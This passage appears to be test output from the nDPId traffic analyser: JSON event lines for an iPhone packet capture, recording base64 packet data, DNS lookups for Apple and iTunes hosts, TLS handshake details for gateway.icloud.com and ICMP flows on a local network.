{"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02370{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":759412,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUAqgAAC4G\/30R+LBLwKgCEQG7xZQAd9sBhijsyYAQA6uyvAAAAQEIClsTCAER3+iIMEYCIQDdbk0W3xLwRVSqExbk6WYwON+XhEgNjWS3c5gBslGuhAIhAOFAjfHHnYs0x+SaDx9TRoc6tbR7MkI8j7D8tL8bTA0\/AHcAsh4FzIuizYogTodm+Su5iiUgZ2va+nDnsklTLe+LkF4AAAFtrLqfqwAABAMASDBGAiEAgaJ1MrRM2AKsBkPp1QIT6PfODIXbQVBUCAUpo+tzOrkCIQDddAHm4u\/Gn8li8ESlxL1ZJK3FxqbrgV3vXWLNi8iiHwB1AFYUBpov18Ls0\/XhvUSyPsdGdrm8mRFcwO+UmFXWidDdAAABbay6n6EAAAQDAEYwRAIgGHM1p6WBqV+vtqr6hd70KQdFzAWv+ozcuVTGuJp7dk4CIByS3BkfgbrlBXSSNJB0YU2uhFS8HFnPom3vv22lArFYAHUAb1N2rDHwMRnYmQCkURX\/dxUcEdkCwQApBo2yCJo32RMAAAFtrLqfywAABAMARjBEAiBaHWEaQOG2Acj23NJ5zQC63rSKppu35b4qfkAJ8X7kbgIgeEjIujG17P30x0NsVWfo0XlmL6r4EoA536jETLtvxuAwDQYJKoZIhvcNAQELBQADggEBAKGriMkz6sCwrnomv6YJ4jjwMaMNouZTjEijYKaSAYs2pIOE9O+xy3VQrni7VsR+gMkO6ivj8K8d+2za\/y+I2RQZ2TUQ6wWGorFDOoGqBZXtBV6gbGs9KDNThqQv865ePsXG2JT+biTm88weJMm7MYXFPMu6C9JosK0yxl3MDsDk45W8A+EciCdcIiZwl5J8dSnSGGYo5UMSF3qI3eSNp3NkNcxYPZnj4isyXRHrBHr1ekVVCMPF2Jox+AmwwfJRq0tdVhmqUS\/9z0Yc6KqLMm50HEB4+utGT9gDG45BW1xwuucQVqNjb4bcrs8WPZf4X7CL94S2\/\/ZbmTwQh3s0iuoABEQwggRAMIIDKKADAgECAgMCOnQwDQYJKoZIhvcNAQELBQAwQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTAeFw0xNDA2MTYxNTQyMDJaFw0yMjA1MjAxNTQyMDJaMGIxHDAaBgNVBAMTE0FwcGxlIElTVCBDQSAyIC0gRzExIDAeBgNVBAsTF0NlcnRpZmljYXRpb24gQXV0aG9yaXR5MRMwEQYDVQQKEwpBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANCToR1HQyAWsgtr68PVtOjHmM3z3r\/oTenjNoAH\/EUbanxFhq5W06QJf2ENa11+Umt9tMg5xPRnOveDzhlvhi9+RX5HHGdSypUFXeI2UYXA1GeANW8V3T79HdL9jzRQ2Ox2Kr7j09rk\/cjrKAKWEZcXYRzpxFk7Qtwy0Qkd2qbRQ4b\/XrK8jM9m2wGLAq6USPM4j\/3qMqgI7IaXUZQkPklJllPoeaFAgekFu5OVUfzj\/XwRS\/eeCLMVSRUH+dE3oJtLMva1xNxq0fwK7fbgxSmgqItx\/g2SvP5UcBgKbcftDPvJLQbDjIX8y4Zc1jaOEosJf\/sZGjjV8JQweg+mjPMCAwEAAaOCAR0wggEZMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBTYepREfJBwkBae3RecAUQDhtYqKTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5z"} +00635{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":759486,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"xGGLNYKpxiwDYGpkCABFAADQatgAAEARieLAqAIBwKgCEQA1wtgAvFoLcEmBgAABAAQAAAAABGluaXQGaXR1bmVzBWFwcGxlA2NvbQAAAQABwAwABQABAAAJGQAmCGluaXQtY2RuDGl0dW5lcy1hcHBsZQNjb20GYWthZG5zA25ldADAMwAFAAEAABEeABsGaXR1bmVzBWFwcGxlA2NvbQdlZGdla2V5wFTAZQAFAAEAABGWABgEZTY3MwVkc2NlOQpha2FtYWllZGdlwFTAjAABAAEAAAAbAARfZRg1"} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":181,"source":"iphone.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":2,"flow_first_seen":1582454598713,"flow_last_seen":1582454598759,"flow_tot_l4_data_len":235,"flow_min_l4_data_len":47,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":49880,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"init.itunes.apple.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"95.101.24.53"}} +00663{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":760578,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"xGGLNYKpxiwDYGpkCABFAADjlzEAAEARXXbAqAIBwKgCEQA10BgAz2vgCAuBgAABAAUAAAAABHBsYXkGaXR1bmVzBWFwcGxlA2NvbQAAAQABwAwABQABAAAMPAAmCHBsYXktY2RuDGl0dW5lcy1hcHBsZQNjb20GYWthZG5zA25ldADAMwAFAAEAAAOnACIEcGxheQZpdHVuZXMFYXBwbGUDY29tCWVkZ2VzdWl0ZcBUwGUABQABAAAAXwAUBWExODA2BGRzY2IGYWthbWFpwFTAkwABAAEAAAAPAARce00awJMAAQABAAAADwAEXHtNQA=="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":182,"source":"iphone.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":2,"flow_first_seen":1582454598713,"flow_last_seen":1582454598760,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":47,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53272,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"play.itunes.apple.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"92.123.77.26"}} +00623{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":760726,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"xGGLNYKpxiwDYGpkCABFAADGO68AAEARuRXAqAIBwKgCEQA19D4AssJtjeyBgAABAAQAAAAAA2NsNAVhcHBsZQNjb20AAAEAAcAMAAUAAQAAD1IAJQdjbDQtY2RuDG9yaWdpbi1hcHBsZQNjb20GYWthZG5zA25ldADAKwAFAAEAAABkABgDY2w1BWFwcGxlA2NvbQdlZGdla2V5wEvAXAAFAAEAABGWABoGZTE0ODY4BWRzY2U5CmFrYW1haWVkZ2XAS8CAAAEAAQAAAA8ABGhJPR4="} +00655{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":183,"source":"iphone.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":2,"flow_first_seen":1582454598713,"flow_last_seen":1582454598760,"flow_tot_l4_data_len":217,"flow_min_l4_data_len":39,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":62526,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"cl4.apple.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"104.73.61.30"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":184,"source":"iphone.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1582454598766,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"92.122.252.82","src_port":50582,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":766077,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGHzLAqAIRXHr8UsWWAbuHn+lSAAAAALDC\/\/\/nwQAAAgQFtAEDAwcBAQgKEd\/ozwAAAAAEAgAA"} +02368{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":768102,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUAqkAAC4G\/3wR+LBLwKgCEQG7xZQAd+ChhijsyYAQA6vWZgAAAQEIClsTCAoR3+iIeW1jZC5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwDQYJKoZIhvcNAQELBQADggEBABZHc2+FomLh5yp2u4mVQiaXvEqsrHBTOj8xgz08HKua4rFdHHYaoDwMcle+055Q4MiZ1ljXAurODSlUfM31wsaQKVWjbxSoC0INOphtBnie8GqjHQIKoiikjcKBRj5tZ9reP\/6FDkIqEt61t\/u4G6eW7Hef7NRTlXr\/B\/TyChTAUVKx1o5QCxqZXLwLyb3t7fhewVbbTX4jpBGhLNQbBZrkG1L2fDiZBUu6co1CiWAEZir0\/WjXa\/eZQSjWbCSr5iVTLsiCmeKijyO+MIOxJ4v6aH8BSejGmGsQLpheitfKS7HHyVia0DbblpXstoHk8s1vG3mHTBA8ieRN+lTcqqYWAwMFshYABa4BAAWqMIIFpgoBAKCCBZ8wggWbBgkrBgEFBQcwAQEEggWMMIIFiDCBoqIWBBRtmHWQn\/fqeBctjWd4mUcrWqqVwBgPMjAyMDAyMjMwMzQ0NDBaMHcwdTBJMAkGBSsOAwIaBQAEFCaEh7OMUBUpl9vU0X43\/z8u8xVoBBTYepREfJBwkBae3RecAUQDhtYqKQIQIOsY2eEwY4nmBySd0jUa6oAAGA8yMDIwMDIyMzAzNDQ0MFqgERgPMjAyMDAyMjMxNTQ0NDBaoQIwADANBgkqhkiG9w0BAQsFAAOCAQEAlz8kzwTNL4DreEokBuMsetKeh0dcofwzjM0d0OSiAy8HKR+etg0hwzjzkMoTWISwWgTi3B1sJGKSMZ19FUMgTZn4yIjxNdwrQNB4cE2DziZgsFITf77+13g64KVP2NaAc+T5V+bRcZJ03et+gkWWJJD3LiVlmJBNfdVp6tiuDAI0Ngsr7cQQ+0qp3EqrUku9Stxo4ldKmdcjeB\/B\/CQsoSSpQbHc7BFb2B5\/0IDczO68caVYUfrelBs9H77nfwtnFA3W+PQ8DlaNrLp+7dLN4WG2ImcEF29Tara8CKkJ0SunfNbHfcwQVfoqYwWu6e+ic24+sVNhYwm7Ezq+\/lDklaCCA8swggPHMIIDwzCCAqugAwIBAgIQQOU9e0o0X00kwGvYo3rGmTANBgkqhkiG9w0BAQsFADBiMRwwGgYDVQQDExNBcHBsZSBJU1QgQ0EgMiAtIEcxMSAwHgYDVQQLExdDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTETMBEGA1UEChMKQXBwbGUgSW5jLjELMAkGA1UEBhMCVVMwHhcNMjAwMjE5MTYyMTQyWhcNMjAwNDAxMTYyMTQyWjBPMSswKQYDVQQDDCJBcHBsZSBJU1QgQ0EgMiBPQ1NQIFJlc3BvbmRlciBSTDA0MRMwEQYDVQQKDApBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJrC64q6envcCtPKJaAaN4gVTLL0EuZUae9A15l28SjzyHp9U4w5buheyZLZT07XBTvH7vEDQnd8C8sUH\/2EnRwJt5yvAFlAEMx\/uhUizW82DYxuJHOfZdZKclTioPSXZnprOzxrOMshIah\/sjVpDoV2Hk7r0EmCnqStVOjixuPjuzxoTXsJqjPDnqRdVJa1vrg13NnmCHnku7+2sZvcK5UHb9d\/ft03IKYTpKniEEolsv1w3eeCBJBMgSqufUY4nWVfilwKJ5d1HJ\/E62apvXPRhP78ezj7odSWvKPwQ1S8n1deOxKuubQET9d53MjOA5zqmPB+gYsOnXEAunura2kCAwEAAaOBhzCBhDAMBgNVHRMBAf8EAjAAMB8GA1UdIwQY"} +01222{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":185,"source":"iphone.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":8,"flow_first_seen":1582454598587,"flow_last_seen":1582454598768,"flow_tot_l4_data_len":5113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":639,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50580,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","server_names":"gateway-india.icloud.com,gateway-carry.icloud.com,gateway.icloud.com,gateway-australia.icloud.com,gateway-sandbox.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=Apple IST CA 2 - G1, OU=Certification Authority, O=Apple Inc., C=US","issuerDN":"CN=gateway.icloud.com, O=Apple Inc., ST=California, C=US","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"D2:DA:1C:68:0C:91:A7:DB:BA:B2:2D:29:06:DB:57:42:10:3D:3A:FE"}} +01126{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":768108,"pkt_caplen":580,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":580,"pkt_l4_len":546,"pkt":"xGGLNYKpxiwDYGpkCABFAgI2AqoAAC4GAxoR+LBLwKgCEQG7xZQAd+ZBhijsyYAYA6tCLwAAAQEIClsTCAoR3+iIMBaAFNh6lER8kHCQFp7dF5wBRAOG1iopMA8GCSsGAQUFBzABBQQCBQAwEwYDVR0lBAwwCgYIKwYBBQUHAwkwHQYDVR0OBBYEFG2YdZCf9+p4Fy2NZ3iZRytaqpXAMA4GA1UdDwEB\/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOCAQEAfWaHB3F71r+HUtEusztLw2H0a2YFnXxa1uzWlcknyHvXas70SkE3K1rNPNgydDWa15RJBtUYT9r\/jIYn136onLWnxukPVi8TUKI4CMEwguhpMLrEtIqL4C6BZ+4lBK6xUCuEUeduttOE7gOxhx0n\/QSTvQ9LuNig3jwWEtIC23HoB15mX4gwBZ8tfi9UB7jVmgUgPLlnIxTRdUl1q5\/zCHckXOsWhUg5FYsKlZCVH6\/tIbdNREqUECgGFWyk\/VyvbJtuxaOAbpOC6ieEYIcwhwciiyJrTnUR2rnOOH8r2riaIi0MEZYnjSjV+7lmoMy2Lru4hbwEXuuXlBYgInvKvBYDAwBzDAAAbwMAHSCOEGeaVLiC6+b\/0wnT8E8OeNNKWCV6MxdIA2YHO6daQQQDAEcwRQIgCS3Vrr\/Qw8tH3\/yPK71uGx2o79sIcnPAoyR3PpMP6DwCIQCJVV0RI6Vgj\/Nh0o0G2\/Ig8XOKXIzzOuC8cQo+KB8yBxYDAwAEDgAAAA=="} +00774{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":783837,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"xGGLNYKpxiwDYGpkCABFAgE26hkAADIGxz0RggIuwKgCEQG7xZHfrxO5GTrteoAYAAMNsQAAAQEICrVP00IR3+iyFgMDAMoEAADGAAABLADAmdO6ZKgegb4aq5BxQP5CxXrL1DVbM7xBuCLNMro28JKalbikOVIgUrccPEKr5L3fnfftuAOoYOGekEgPY1x2WVd\/SAAynLxhsy6dbfjmLrPGjMq1hAlWGcHSKLZK8J3hMajG9zm+c4ZMZr0lWfnlVyVa+xiMhyzU4al+L6B5lrZqxKr\/+mn89BjJqsN2byVi0mA9RiGlUe2IIeIHIu6TQs9dN4qx10w4eK9hoF5m4AfGPuCS8mZgYn8r6C6eRtBeFAMDAAEBFgMDACgzpCi6VvByC1sgagi8Q7raFpVF+kr0VUMH0mNdudSDbLrqRbx8pZrd"} +00821{"flow_id":28,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":786331,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"xGGLNYKpxiwDYGpkCABFAgFT0AYAADIGeRwR\/WnKwKgCEQG7xZLy+rlZfzqr0oAYAHWIbgAAAQEICor+qd0R3+i8FwMDARriUgIv6GkVu8F2AXfKdy8ox7cIh56uiJz+qprYzDppxDVem5iI+KoYUneGqEEMGK1AvbDY1MA8CDGbAnb4pf\/lomMf\/PHCBZS9gGT+wv5VsWpADGZ9yImUsxPqhIAIJlim\/rJlAfMInG\/MYAB+1v8dEVqt2ECIYPKSpIC12Si7kDJ7uB21lNmmvJFZDAy+k008mOnR2pAY3pDwBL\/5fDXHhx6+AU4Hq5+Jj47N8FW\/UF4N+DPfqCbddpycheXDR2dhENo35F+aWEWpu\/EcKhXVYRglEy\/4cMHNrAFPjES++v685ERZzqjI5E7iOWhBlgZKBaVy1UvkUGwXQLJ6a8+wDOtDILMtJZQhXeepf+G5amptLe2Z94KkfdM="} +00818{"flow_id":28,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":786343,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"xGGLNYKpxiwDYGpkCABFAgFT0AcAADIGeRsR\/WnKwKgCEQG7xZLy+rp4fzqr0oAYAHV+eQAAAQEICor+qd0R3+i8FwMDARq5SQGQLnpWEcZ2Mh6e8JpH9tNqVJSQsj1NJbd\/RGbmiMS+91Lwtn920c75q3zbN6d+yFmlUcVHA+V3CVtls7mlm1zgL+yEc+FSMDbNLEWo43ZT8hshMwnwLb7npY9b7JDOlmV1Qra90CMCKhe26wV0\/ynITWCCp\/krnpM1C+P5AKzy7Hq6U8p6ZDzX2t3Y\/sEtyuDYZSrODhSvPSx7uPqVffMy89AqsFy+kGj8eT3GGAt6LrTx5LXrLcDGVzn0kbHgxjpHYrIFntuAlbXNQndEuV9WSe5mQRRzfV+FyGY\/wXAzlUoEvEdgdrxbAAWYi4rKZBROMzCjTD0g3L5+5oukLIU4kb8WcqOuIs+gc7zU2eOr4jvucJ8kKns="} +00888{"flow_id":28,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":791328,"pkt_caplen":400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":400,"pkt_l4_len":366,"pkt":"xGGLNYKpxiwDYGpkCABFAgGC0AgAADIGeOsR\/WnKwKgCEQG7xZLy+ruXfzqtRoAYAHrJzwAAAQEICor+qeIR3+jBFwMDAUlR2yeh\/Mrk2fJX31Kbd00awnMuhz3GB9Ls94xx3JaJGZ+\/A6JPrQrCIXih6p4sOutNIGl1b+JWS38YYp2wPOQmTfAMnfY0babHjP6Hd1dNGmw7bXKD+U4Aht1LnEOeRx7NT5nGK8f8\/4hefRUyf4D7r1Ccvwl\/FMcl\/hZu9Uo\/45MSKf4yIepSIrw25o0TEmJAt9YF8l+C6360U09bwkiIXowoItrqq+Ah0+1mo1CF3k6wVc7GJbB\/8o+z3P\/y+fBtchKpiNPZqbKNETs++5bIsd1ZrC7k\/bdKO3sbWGF11oTpLYymRWKeD73s\/qjxq1XUOz\/fVmEgF7ryb1GDsgQ+QKaCRnwnxZMUACNuUpV892cuBto+OXZrKgqot3hf4pvrFByj3DwU31ULwJ1pK3ms+DLLzYxjVXXCJ78ADQhd9XUZO0t3SwocDg=="} +00439{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":801586,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADUGajZcevxSwKgCEQG7xZaFiMYch5\/pU6BScSAUDwAAAgQFrAQCCAr\/dyjxEd\/ozwEDAwc="} +00437{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":867837,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADEG+7MR+LlXwKgCEQG7xZWfE+IlqBre6aBScSBsSgAAAgQFrAEBCArpLCwFEd\/opwEDAwU="} +00441{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":193,"source":"iphone.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1582454598885,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":885958,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkxGGLNYKpCABFAAA4434AAEABEeTAqAIRwKgCAQMDBHsAAAAARQAAz8hDAABAESx4wKgCAcCoAhEANfeRALsAAA=="} +00473{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":193,"source":"iphone.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1582454598885,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00432{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":886016,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkxGGLNYKpCABFAAA4zMkAAEABKJnAqAIRwKgCAQMDKS0AAAAARQAAz3UJAABAEX+ywKgCAcCoAhEANdLfALsAAA=="} +00426{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":886113,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WUAbuGKOzJAHfgoYAQA\/R0UwAAAQEIChHf6SpbEwgB"} +00432{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":886500,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkxGGLNYKpCABFAAA4CTAAAEAB7DLAqAIRwKgCAQMDOTMAAAAARQAA0GrYAABAEYniwKgCAcCoAhEANcLYALwAAA=="} +00432{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":886626,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkxGGLNYKpCABFAAA4spEAAEABQtHAqAIRwKgCAQMDK+AAAAAARQAA45cxAABAEV12wKgCAcCoAhEANdAYAM8AAA=="} +00426{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":886998,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WUAbuGKOzJAHfoQ4AQA\/BsqwAAAQEIChHf6StbEwgK"} +00426{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":887136,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZFvAqAIREYICLsWRAbsZOu16368Uu4AQA\/1WNgAAAQEIChHf6UK1T9NC"} 